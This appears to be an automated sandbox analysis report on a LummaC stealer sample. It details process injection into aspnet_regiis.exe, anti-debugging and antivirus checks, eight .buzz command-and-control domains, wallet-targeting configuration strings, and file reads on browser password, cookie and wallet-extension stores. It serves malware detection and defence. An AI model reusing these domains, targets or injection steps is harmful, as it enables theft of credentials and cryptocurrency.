Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128539472.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

API call chain: ExitProcess graph end node

graph_3-15073

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_72C6E110 LdrInitializeThunk,

3_2_72C6E110

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_6CE4F194 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CE4F194

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE51D62 mov eax, dword ptr fs:[00000030h]		0_2_6CE51D62
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE52FA1 mov eax, dword ptr fs:[00000030h]		0_2_6CE52FA1

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4EC67 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CE4EC67
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4F194 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CE4F194
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE5167C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CE5167C

Source: C:\Users\user\Desktop\Loader.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Loader.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C30000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Loader.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C30000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: inherineau.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: scentniej.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Loader.exe, 00000000.00000002.2017039541.000000006CE61000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: prisonyfork.buzz

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C30000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C31000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C72000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C75000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C83000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C31000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C72000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C75000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 72C83000	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 30A5008	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_6CE4F358 cpuid

0_2_6CE4F358

Source: C:\Users\user\Desktop\Loader.exe	Queries volume information: C:\Users\user\Desktop\Loader.exe VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_6CE4EDDB GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CE4EDDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: aspnet_regiis.exe, 00000003.00000002.2243161469.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220755214.0000000005C80000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.binstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"WalB
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 20},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"b
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: age.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexR
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: age.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexR
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wa
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wa
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wa
Source: aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wa

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
